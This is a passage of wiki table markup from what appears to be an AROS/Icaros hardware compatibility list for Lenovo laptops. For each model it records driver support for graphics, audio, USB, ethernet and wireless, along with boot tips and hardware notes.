| &lt;!--Name--&gt;Lenovo T410 T410s T410si || &lt;!--Chipset--&gt;qm57 with i5 m || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{Yes|IDE in BIOS}} || &lt;!--Gfx--&gt;{{maybe|use vesa Intel 5700MHD (Ironlake) core processor igp with optional Nvidia Quadro NVS 3100M}} || &lt;!--Audio--&gt;{{yes|HD Audio Conexant CX20585 codec playback}} || &lt;!--USB--&gt;{{Yes|2.0}} || &lt;!--Ethernet--&gt;{{no|Intel 82577lm gigabit}} || &lt;!--Wireless--&gt;{{unk|Intel n 6200 or Atheros AR9280 AR5BHB92 half size minipcie bios locked}} || &lt;!--Test Distro--&gt;Icaros 2.2 xmas || &lt;!--Comments--&gt;2009 64bit battery life much lower with Nvidia graphics version - no support firewire ricoh r5c832 - ricoh sd card - series 5 3400  
|-
| &lt;!--Name--&gt;X201 X201s x201t || &lt;!--Chipset--&gt;QM57 Core i3 370m, i5 M520 2.4GHz or i7 620LM 2.0GHz || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{Yes|IDE in BIOS}} || &lt;!--Gfx--&gt;{{Maybe|vesa 2d on Intel GMA HD}} || &lt;!--Audio--&gt;{{yes|Intel HD with [https://ae.amigalife.org/index.php?topic=94.0 Conexant 20585] codec}} || &lt;!--USB--&gt;{{yes| }} || &lt;!--Ethernet--&gt;{{no|Intel}} || &lt;!--Wireless--&gt;{{No|bios locked}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2010 X201 arrandale power consumption limits battery life to 3-4 hours for 48Whr though to 6 on 72Whr - 12.5&quot; WXGA - 3pin cmos - 
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || IDE || SATA || Gfx || Audio || USB || Ethernet || Wireless || Test Distro || Comments 
|-
| &lt;!--Name--&gt;Ideapad B470, B570, V370, V470, V570 || &lt;!--Chipset--&gt;Intel® Core™ i5 i5-2430M, i5-2450M, || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe|sata}} || &lt;!--Gfx--&gt;Vesa 2d for Intel || &lt;!--Audio--&gt;HDaudio 0x8086, 0x1c20 with  codec || &lt;!--USB--&gt;USB3 || &lt;!--Ethernet--&gt;{{maybe|rtl8169}} || &lt;!--Wireless--&gt;{{no|whitelisted}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2011 64bit - 14in or 15.6in 768p - 
|-
| &lt;!--Name--&gt;T420 type 4180 4236, t420s , T520 4239 L520 || &lt;!--Chipset--&gt;i5 2540, 2520 or i7 2860QM 2620 has sse4.1 avx || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{Yes|IDE in BIOS but not AHCI}} || &lt;!--Gfx--&gt;{{Maybe|Vesa 136 x 768 - Intel HD 3000 with optional NVS 4200M Nvidia optimus or Radeon HD 565v }} || &lt;!--Audio--&gt;{{Yes|HD Audio playback ear phones only with Conexant CX20672 codec - AHI 6.27}} || &lt;!--USB--&gt;{{Maybe| }} || &lt;!--Ethernet--&gt;{{No|Intel PRO 1000 82579LM}} || &lt;!--Wireless--&gt;{{No|Realtek 1x1, Intel Ultimate-N 6205 6250 2x2 6300 3x3 all bios locked}} || &lt;!--Test Distro--&gt;Icaros 2.2.2 add noacpi to grub boot options || &lt;!--Comments--&gt;2011 64bit - screen 1600x900 or 1366x768 - 2 ddr3l sodimm slots max 16gb - 
|-
| &lt;!--Name--&gt;Thinkpad W520 || &lt;!--Chipset--&gt; has sse4.1 avx || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{Yes|IDE in BIOS}} || &lt;!--Gfx--&gt;{{Maybe|VESA Intel HD 3000 with nvidia quadro 1000m 2000m optimus issues with Nvidia Intel hybrids}} || &lt;!--Audio--&gt;{{Maybe|Intel Hd with CX 20585 codec}} || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;{{No|Intel 82579 Lm}} || &lt;!--Wireless--&gt;{{No|Intel 6000s}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2011 64bit - 15.6&quot; TFT display with 1366x768 (HD), 1600x900 (HD+) or 1920x1080 (FHD) resolution with LED backlight 
|-
| &lt;!--Name--&gt;X220 x220t || &lt;!--Chipset--&gt;QM67 express, dual i5 2520M or i7 dual 2620M sse4.1 avx support || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{Yes|IDE in BIOS but not AHCI}} || &lt;!--Gfx--&gt;{{Maybe|VESA 2D 1024 x 768 for Intel HD Graphics 3000}} || &lt;!--Audio--&gt;{{Yes|Intel HD playback with Conexant 20672 codec ear phones and speaker - AHI 6.27 6.34}} || &lt;!--USB--&gt;{{Yes|USB 2.0}} || &lt;!--Ethernet--&gt;{{No|Intel 82579LM}} || &lt;!--Wireless--&gt;{{No|Intel Centrino Advanced-N 6205 Wi-Fi bios locked}} || &lt;!--Test Distro--&gt;Icaros 2.3, Aros One USB 1.6 || &lt;!--Comments--&gt;2011 64bit possible - uses slimmer 7 mm storage sata devices - NEC USB 3.0 on i7's - unwanted trackpad gestures when palms rests on it - 2 ddr3 sodimm slots - external battery - 
|-
| &lt;!--Name--&gt;Thinkpad X120e, x121e Quanta FL8A DAFL8AMB8D0 Rev D || &lt;!--Chipset--&gt;Hudson M1 with slow AMD E350 has no sse4.1 or avx || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe|sata}} || &lt;!--Gfx--&gt;{{Maybe|VESA ATI 0x9802}} || &lt;!--Audio--&gt;{{Maybe|ATI SBx00 Azalia HD Audio}} || &lt;!--USB--&gt;USB 2.0 || &lt;!--Ethernet--&gt;RTL8169 RTL8111  || &lt;!--Wireless--&gt;{{no|Broadcom 0x0576 bios locked}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2011 64bit 11.6 inch screen - 1 inch think - chiclet keyboard 
|-
| &lt;!--Name--&gt;Ideapad S205 G575 G585, Edge 11 E325 || &lt;!--Chipset--&gt;Slow E-350 later E-450 with A75 or AMD Athlon II Neo has no sse4.1 or avx || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe|sata}} || &lt;!--Gfx--&gt;{{Maybe|VESA HD6310}} || &lt;!--Audio--&gt;{{Yes| }} || &lt;!--USB--&gt;{{Yes| }} || &lt;!--Ethernet--&gt;{{No|Atheros}} || &lt;!--Wireless--&gt;{{No|Broadcom}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2011 64bit does not support AVX or SSE 4.1 - removeable and plug in battery - 2pin CR2032 CMOS battery - 
|-
| &lt;!--Name--&gt;Ideapad S206 || &lt;!--Chipset--&gt;AMD E300 1.3GHZ Dual has no sse4.1 or avx || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe|sata}} || &lt;!--Gfx--&gt;{{Maybe|VESA }} || &lt;!--Audio--&gt;{{Maybe|Intel HD Audio with CX20672 codec}} || &lt;!--USB--&gt;{{Maybe|3.0}} || &lt;!--Ethernet--&gt;Broadcom 10/100 || &lt;!--Wireless--&gt;{{unk|Atheros AR9285}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2012 64bit does not support AVX or SSE 4.1 - 11.6&quot; and integrated battery - Conexant® 
|-
| &lt;!--Name--&gt;Lenovo x130e or x131e edu || &lt;!--Chipset--&gt;Slow AMD E-300 or E-450 has no sse4.1 or avx || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe|sata}} || &lt;!--Gfx--&gt;{{Maybe|VESA Radeon HD 6310 or 6320 }} || &lt;!--Audio--&gt;{{Maybe|HD Audio Realtek ALC269VC / ALC3202 codec}} || &lt;!--USB--&gt;{{Maybe|USB 30 and USB 20}} || &lt;!--Ethernet--&gt;{{maybe|Realtek RTL8111 RTL8168B}} || &lt;!--Wireless--&gt;{{No|Realtek RTL8188CE or Broadcom BCM43228 bios locked}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2012 64bit does not support AVX or SSE 4.1 - rubber edged bumper for K12 education market - 2pin CR2032 CMOS battery - 
|-
| &lt;!--Name--&gt;Thinkpad Edge E135 E335 || &lt;!--Chipset--&gt;amd dual E-300, E2-1800 or E2-2000 slow atom like A68M FCH has no sse4.1 or avx || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe|SATA 3.0Gb/s 2.5&quot; wide 7mm high}} || &lt;!--Gfx--&gt;{{Maybe|VESA radeon 6310 or 7340 vga or hdmi}} || &lt;!--Audio--&gt;{{Maybe|HDAudio with Realtek ALC3202 codec}} || &lt;!--USB--&gt;{{maybe|2 usb3, 1 powered usb2}} || &lt;!--Ethernet--&gt;{{maybe|rtl8169 8111f}} || &lt;!--Wireless--&gt;{{no|Realtek WLAN whitelist bios locked}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2012 64bit does not support AVX or SSE 4.1 - 11.6 inch to 13.3in 1366x768 - Acrylonitrile-Butadiene-Styrene (ABS) plastic case - external battery - 20v 65w lenovo barrel ac - 2 ddr3 sodimm 8Gb max - 
|-
| &lt;!--Name--&gt;ThinkPad Edge E525 E535 LENOVO IDEAPAD Z575 || &lt;!--Chipset--&gt;AMD A6-3420M A8-3500M later A8-4500M has no sse4.1 or avx || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe|sata}} || &lt;!--Gfx--&gt;{{Maybe|VESA AMD 6620G later 7640G}} || &lt;!--Audio--&gt;{{No|HDAudio with Conexant codec}} || &lt;!--USB--&gt;{{Maybe|USB2 but not usb3}} || &lt;!--Ethernet--&gt;{{maybe|rtl8169 Realtek 8111}} || &lt;!--Wireless--&gt;{{No|Broadcom bios locked}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2013 64bit does not support AVX or SSE 4.1 - 15.6in 1368 x 768 matt - 65W 20v lenovo round psu - thick desktop replacement - ThinkPad Edge E520 E520S E525 E530 E545 E535 E530C Laptop Keyboard swap - 
|-
| &lt;!--Name--&gt;T430 t430i T530 || &lt;!--Chipset--&gt;ivy bridge i5 3320 3230m on Intel QM77 has sse4.1 and avx || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe|sata}} || &lt;!--Gfx--&gt;{{Maybe|VESA 1366 x 768 for Intel HD 4000 with optional Nvidia 5400M}} || &lt;!--Audio--&gt;{{Maybe|Intel HD with Realtek ALC3202 aka ALC269VC codec playback ear head phones - HDA 6.27}} || &lt;!--USB--&gt;{{Yes|USB 2 ports and usb2.0 devices thru usb 3.0 ports}} || &lt;!--Ethernet--&gt;{{No|Intel e1000}} || &lt;!--Wireless--&gt;{{unk|Intel or Atheros AR9285 bios locked}} || &lt;!--Test Distro--&gt;2016 Icaros 2.1.1 || &lt;!--Comments--&gt;2013 64bit fan noise and chiclet keyboard, synaptics trackpad - HD+ 768p - 
|-
| &lt;!--Name--&gt;Thinkpad X230 x230t || &lt;!--Chipset--&gt;Intel QM67 express i5 has sse4.1 and avx || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe|sata}} || &lt;!--Gfx--&gt;{{Maybe|VESA }} || &lt;!--Audio--&gt;{{Maybe|Intel HD with ALC269 aka ALC3202}} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{no|Intel }} || &lt;!--Wireless--&gt;{{No|I}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2013 64bit - 12.2 in 1366 x 768 - 2 ddr3 sodimm slots - external battery - 
|-
| &lt;!--Name--&gt;Thinkpad T440 t440s t440p T540 L440 L540 || &lt;!--Chipset--&gt;intel haswell 8 series Core i3 to i7 has sse4.1 and avx || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe|sata}} || &lt;!--Gfx--&gt;{{Maybe|VESA - Intel 4600 or Nvidia}} || &lt;!--Audio--&gt;Intel HD with Realtek ALC3232 alc269 codec or ALC292 || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{No|Intel}} || &lt;!--Wireless--&gt;{{No|Intel AC 7260 bios locked}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2014 64bit - 14 and 15&quot; models with glitchy trackpad and no physical buttons - keyboard repair not easy as well as 4 variants of key caps - 2pin CR2032 CMOS battery - 
|-
| &lt;!--Name--&gt;Thinkpad X240 x240t ultrabook TN (20AL0081GE), HD IPS display without touch (20AL007NGE) and touch (20AL0076GE) but all 65% sRGB || &lt;!--Chipset--&gt;haswell i7-4600U i5 4200U 4210U 4300U i3-4100U - two batteries, one internal 3cell 45N1110 (45N1111) or 45N1112 (FRU 45N1113) and external 3 / 6cell  45N1126 (FRU 45N1127) || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;2.5in 7mm sata (torq t7), m.2 2242 in WWAN slot (m and b key NGFF Sata) || &lt;!--Gfx--&gt;{{Maybe|use VESA for Intel 4400 for vga or mini-dp}} || &lt;!--Audio--&gt;{{No|HDAudio 0x8086, 0x0a0c 0x8086, 0x9c20 with Realtek ALC3232 aka ALC292 0x10ec, 0x0292}} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{no|Intel® 82577LM Gigabit (Hanksville) }} || &lt;!--Wireless--&gt;{{no|Realtek or Intel 7260n I218-V or I218-LM bios locked}} || &lt;!--Test Distro--&gt;AROS One USB || &lt;!--Comments--&gt;2014 64bit - 12.2in 1366 x 768 or 1080p - 1 ddr3l sodimm slot - no keyboard spill drainage and at least 2 variants of key caps - lenovo rectangle pwr ac - TPM 1.2 - Bluetooth 4.0 no support - bottom panel with 8 retained screws - 2pin CR2032 CMOS battery - 
|-
| &lt;!--Name--&gt;ThinkPad Edge E545 
* key cap swap with E440 E531 E540 L440 L450 T431S T440S T440P T540 
* Keyboard swap L540 T540p W540 Edge E531 E540 W541 T550 W550S L560 P50S T560 
|| &lt;!--Chipset--&gt;AMD Socket FS1r2 A6-5350M (2c2t) or A8-4500M, A8-5550M, A10-5750M (4c4t) with A76M FCH has sse4.1 and avx || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;2.5in 9.5mm - enter UEFI bios with Enter or ESC, config section, sata into compatibility and security, secure boot disabled - mini sata DVD burner PLSD DS8A9SH || &lt;!--Gfx--&gt;{{Maybe|VESA 2D for AMD 7640G, 8450G, 8550G, 8650G ?? Islands}} || &lt;!--Audio--&gt;{{no|VOID for HDAudio 6.34 0x1022, 0x780d with Conexant CX20590 Analog 0x14f1, 0x506e CX20671 codec 0x14f1, 0x5069 or audio over Trinity HDMI}} || &lt;!--USB--&gt;{{maybe|boots pen drives from yellow usb port but not from blue USB3 ones, issues with AMD usb3 hardware quirks}} || &lt;!--Ethernet--&gt;{{yes|rtl8169 1GbE 8111F}} || &lt;!--Wireless--&gt;{{No|Broadcom BCM43142 bios locked}} || &lt;!--Test Distro--&gt;AROS One 2.3 USB works with noacpi added to end of grub2 boot line but not booting on AROS One 64bit 1.1 via usb2 stick or iso burnt to dvd || &lt;!--Comments--&gt;2015 64bit - 15.6in 1366 x 768 matt - 20v 65w 90w round lenovo plug psu - 2 DDR3 SODIMM slots 16GB Max - external 6 Cell Li-Ion Battery 48Wh l11s6y01 45n1043 - 2pin CR2032 CMOS battery in wifi area jp1202 - amd v(tm) virtualization not working - 
|-
|&lt;!--Name--&gt;Y50-70 || &lt;!--Chipset--&gt;Intel 4 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;nvme || &lt;!--Gfx--&gt;GTX 860M or GTX 960M || &lt;!--Audio--&gt;HDAudio || &lt;!--USB--&gt;USB3 || &lt;!--Ethernet--&gt;{{maybe|rtl8169 rtl8111}} || &lt;!--Wireless--&gt;{{no| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2015 64bit - 
|-
|&lt;!--Name--&gt;AMD platform codes
*Beema: ABM, 
*Carizzo-L: ACL,
*Carizzo: ACZ, 
*Godavari: AGR, 
*Kaveri: AKV, 
*Stoney Ridge: ASR,
*Stoney Ridge: AST (NB), 
|| &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
*Summit Ridge: ASU, 
*Bristol Ridge-L: ABL, 
*Bristol Ridge: ABR, 
*Raven Ridge: ARR, 
*Picasso: API 
|-
|&lt;!--Name--&gt;Lenovo ThinkPad P50 || &lt;!--Chipset--&gt;Intel i7-6820HQ || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;nvme || &lt;!--Gfx--&gt;Quadro M2000M || &lt;!--Audio--&gt;HDAudio || &lt;!--USB--&gt;USB3 || &lt;!--Ethernet--&gt;{{no|Intel}} || &lt;!--Wireless--&gt;{{no|Intel }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2015 64bit - 
|-
| &lt;!--Name--&gt;[https://www.laptop-schematics.com/db/78/V%20series%20laptops%20(Lenovo)/ V110-14AST (14in) V110-15AST, V110-14ISK V110-15ISK 80TL (15&quot;)],  || &lt;!--Chipset--&gt;AMD E1-9000, A6-9210 to A9-9410 all dual core and intel 6006u, 6100u, 6200u || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;1 2.5in sata most 7mm some 9.5mm || &lt;!--Gfx--&gt;{{Maybe|VESA 2D for AMD R2, R3, R5 or R6 or Intel Gfx}} || &lt;!--Audio--&gt;{{No|HDAudio with codec}} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{maybe|rtl8169}} || &lt;!--Wireless--&gt;{{no| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2016 64bit - 14in to 15.6in mostly 768p 220 nits - 20v 45W or 65W lenovo slim rectangle end ac - keyboard swap hard - integrated 24WHr battery - 4gb ddr4 ram soldered and 1 2133Mhz ddr4 slot max 12Gb - abs plastic - 
|-
|&lt;!--Name--&gt;
*ThinkPad A275 12in (1 ddr4 1866MHz sodimm) 
*Thinkpad A475 14in (2 ddr4 1866MHz sodimm) - both internal (main) and external (secondary) battery 
|| &lt;!--Chipset--&gt;A10-8730B A10-9700B 2.500Ghz later A12-8830B A12-9800B all 4c4t (AVX2 on 9000s) || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{Maybe|7mm 2.5in sata with mbr and not gpt, setup in another machine - secure boot disabled, bios startup boot set to legacy then uefi - WWAN slot cannot use M.2 2242 sata with M and B key}} || &lt;!--Gfx--&gt;{{Maybe|VESA 2D for AMD R5 or R7}} || &lt;!--Audio--&gt;{{No|HDAudio 6.34 ahi 0x1022, 0x157a with ALC3268 aka ALC298 codec 0x10ec, 0x0298 - VOID even with QUERY / QUERYD added}} || &lt;!--USB--&gt;{{no|USB3 error on boot suspect AMD usb3 quirk}} || &lt;!--Ethernet--&gt;{{Yes|rtl8169 RTL8111EPV}} || &lt;!--Wireless--&gt;{{No|Realtek RTL8822BE WLAN whitelist locked cannot swap}} || &lt;!--Test Distro--&gt;{{maybe|AROSOne USB 32bit 1.8 with noacpi noapic noioapic added to grub2 boot line but Aros One 64bit 1.2 USB has krnPanic }} || &lt;!--Comments--&gt;2016 64bit 12 or 14in 768p - 45W or 65w lenovo rectangle ac adapter - F1 enter bios and F12 boot order - 6 retained screws and snap on base - 2100 error message no solution except using only efi/gpt bios option - 
|-
|&lt;!--Name--&gt;320S-15AST, 320S-15ABR, ideapad Slim 1-11AST-05 81VR || &lt;!--Chipset--&gt;AMD A6-9220e, AMD A6-9225, A9-9425, A10-9600P 7th Gen || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe|sata 2.5in}} || &lt;!--Gfx--&gt;{{maybe| Vesa 2D for AMD}} || &lt;!--Audio--&gt;{{No| }} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{N/A}} || &lt;!--Wireless--&gt;{{No|Qualcomm Atheros QCA9377 or Realtek RTL8821CE}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2018 64bit AVX2 - 14in or 15.6&quot; 768p - 1 ddr4 sodimm slot - keyboard swap problematic - 
|-
|&lt;!--Name--&gt;Lenovo Ideapad S145-14AST S145-15AST 81N3 || &lt;!--Chipset--&gt;AMD A6-9225, A9-9425, A10-9600P 7th Gen, AMD A12-9720P Mobo 5B20P11110 NMB341 Bristol Ridge || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe|sata 2.5in}} || &lt;!--Gfx--&gt;{{Maybe|VESA Radeon 8670A 8670M 8690M GCN 3}} || &lt;!--Audio--&gt;{{No| }} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{N/A}} || &lt;!--Wireless--&gt;{{No|Qualcomm Atheros QCA9377 or Realtek RTL8821CE}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2018 64bit AVX2 - 14in or 15.6&quot; 768p or 1080p - 1 ddr4 sodimm slot - 
|-
|&lt;!--Name--&gt;Lenovo Ideapad V145-14AST V145-15AST, 81mt, Ideapad 310, Ideapad 320-15ABR, Ideapad 330-14AST 330-15AST 330-17AST || &lt;!--Chipset--&gt;AMD A6-9225, A9-9425 (2c2t), A10-9600P 7th Gen, AMD A12-9720P Mobo 5B20P11110 NMB341 Bristol Ridge || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe|sata 2.5in with optional dvd}} || &lt;!--Gfx--&gt;{{Maybe|VESA Radeon 8670A 8670M 8690M GCN 3}} || &lt;!--Audio--&gt;{{unk|HDaudio with ALC3240-va3-cg aka ALC236? codec 0x10de, 0x0236}} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{no|rtl8169 8106E 10/100 only}} || &lt;!--Wireless--&gt;{{No|Qualcomm Atheros QCA9377 or Realtek RTL8821CE}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2017 64bit AVX2 - 14in or 15.6&quot; 768p or 1080p - 1 ddr4 sodimm slot - 45w 65w slim ac adapter - 
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || IDE || SATA || Gfx || Audio || USB || Ethernet || Wireless || Test Distro || Comments 
|-
|&lt;!--Name--&gt;Lenovo V330-14ARR 81B1, V330-15ARR 81, 330-14ARR 81 330-15ARR 81D2 - battery internal about 30whr || &lt;!--Chipset--&gt;AMD Ryzen R3 2200U, 2300U or R5 2500U Raven Ridge || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;M.2 nvme/sata, optional 2.5in sata but no dvd || &lt;!--Gfx--&gt;{{Maybe|VESA Vega 3, 6 or 8 up to 1Gb of soldered ram memory taken}} || &lt;!--Audio--&gt;{{No|HDAudio 0x1002, 0x15de with Realtek® ALC5682I-VD codec 0x10de, 0x or coxenant CX11802 codec}} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{maybe|Realtek 1GbE}} || &lt;!--Wireless--&gt;{{no|Realtek}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2018 64bit - 14&quot; 768p 20mm thick 1.8kg - 20v 2.25a 45w ac round barrel - chiclet keyboard - 4Gb soldered and 1 ddr4 sodimm - TPM 2.0 in bios - 4GB soldered - 
|-
|&lt;!--Name--&gt;Ideapad 330s-14ARR, 330s-15ARR, ideapad 330S-14IKB, 330S-15IKB,  - battery internal about 30whr || &lt;!--Chipset--&gt;AMD Ryzen R3 2200U, 2300U or R5 2500U Raven Ridge || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe|nvme}} || &lt;!--Gfx--&gt;{{Maybe|VESA 2D for AMD or Intel 610, 620 up to 1Gb of soldered ram memory taken}} || &lt;!--Audio--&gt;{{No|HD Audio with  codec}} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{N/A}} || &lt;!--Wireless--&gt;{{no|Realtek}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2018 64bit - 14&quot; 20mm thick 1.8kg - 20v 2.25a 45w ac round barrel - chiclet keyboard - 4Gb soldered and 1 ddr4 sodimm - TPM 2.0 in bios - 4GB soldered - 
|-
|&lt;!--Name--&gt;Thinkpad Edge E485 E585 - internal battery only || &lt;!--Chipset--&gt;AMD Ryzen R3 2300U R5 2500U R7 2700U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe|m.2 nvme optional 1 2.5in sata}} || &lt;!--Gfx--&gt;{{Maybe|VESA for Vega 3, 8 or 10}} || &lt;!--Audio--&gt;{{No|HDAudio with CX11852 codec }} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{maybe|rtl8169 rtl8111GUS}} || &lt;!--Wireless--&gt;{{no| }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2018 64bit - 14in or 15.6in 768p or 1080p - USB-C 20V 2.25A 3.25A avoid knocking charging port as damages easily - 2 ddr4 sodimm slot max 2400Mhz 32GB - TPM 2.0 software - 
|-
|&lt;!--Name--&gt;Thinkpad A285 - internal and external battery || &lt;!--Chipset--&gt;AMD Ryzen PRO 3 2200U 5 2500U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe|m.2 nvme/sata}} || &lt;!--Gfx--&gt;{{Maybe|VESA Vega up to 2Gb of soldered ram memory taken}} || &lt;!--Audio--&gt;{{unk|HD Audio with ALC ALC3287 codec aka ALC257 }} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{No|Mini-Ethernet/Docking}} || &lt;!--Wireless--&gt;{{no|Realtek or Qualcomm - WLAN whitelist no more??}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2018 64bit - 12.5in 1080p - avoid usb-c port being lifted/moved whilst in use as damages laptop easily - soldered ram 8gb or 16gb  - WWAN whitelist - keyboard swap problematic - 
|-
|&lt;!--Name--&gt;Thinkpad A485 bios setting [https://github.com/PSPReverse/PSPTool AMD PSP Platform Security Processor Key] - internal and external battery || &lt;!--Chipset--&gt;AMD Ryzen PRO 5 2500U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;sata port and m.2 nvme port || &lt;!--Gfx--&gt;{{Maybe|VESA Vega }} || &lt;!--Audio--&gt;{{unk|HD Audio with ALC ALC3287 codec aka ALC 257 }} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{maybe|rtl8169 RTL8111GUL}} || &lt;!--Wireless--&gt;{{no|Realtek or Qualcomm wifi - WLAN whitelist no more??}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2018 64bit - 14in 768p, 1080p or 1440p - avoid usb-c port being lifted/moved whilst in use as damages laptop easily - 2 ddr4 sodimm slots max 32gb - WWAN whitelist - keyboard swap problematic - 
|-
|&lt;!--Name--&gt;[https://www.diy-laptoprepair.com/forum/fix-Lenovo-V155-15-repair-guide-schematics.php Lenovo v155-15api 81V5] V155 (15&quot; AMD) budget all plastic build - MS new protocol, HID over I2C so [https://askubuntu.com/questions/1033033/elantech-touchpad-does-not-work-i2c-hid i2c] [https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/drivers/input/mouse/elantech.c?h=v6.17 i2c] [https://www.kernel.org/doc/html/v4.16/input/devices/elantech.html PS2 hybrid trackpad] [https://cgit.freebsd.org/src/tree/sys/dev/atkbdc/psm.c?h=releng/14.3 elantech] [https://cvsweb.openbsd.org/cgi-bin/cvsweb/src/sys/dev/pckbc/?only_with_tag=OPENBSD_7_8_BASE i2c-hid] 04F3:3140 touchpad not working - internal sunwoda battery L18D3PF1, L18L3PF1, L18C3PF2 35Whr most dead after 5 years || &lt;!--Chipset--&gt;'''tested''' Ryzen 5 3500U and Ryzen 3 3200U - '''untested''' AMD Athlon 300U with bios winbond 25q64fwsiq soic 1.8v bios near nvme || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;1 M.2 nvme and usually 2.5in 7mm sata - install on mbr not gpt 2.5in in another compatible machine - mini sata dvd/cd da-8aesh11b will boot cd or dvd aros || &lt;!--Gfx--&gt;{{Maybe|VESA 2D to 1080p work for Vega 3 or 8 with up to 2Gb of soldered ram memory taken but hdmi 1.4b no output}} || &lt;!--Audio--&gt;{{Yes|HDAudio add 0x1022, 0x15E3 with ALC3287 aka Realtek ALC257 codec 0x10ec, 0x0257 with 32bit on external speaker and most of the time works on 64bit}} || &lt;!--USB--&gt;{{no|2 USB3.0 usb-a, on left hand side, detected but not working}} || &lt;!--Ethernet--&gt;{{yes|rtl8169 RTL8111GUS works well with 32bit and 64bit}} || 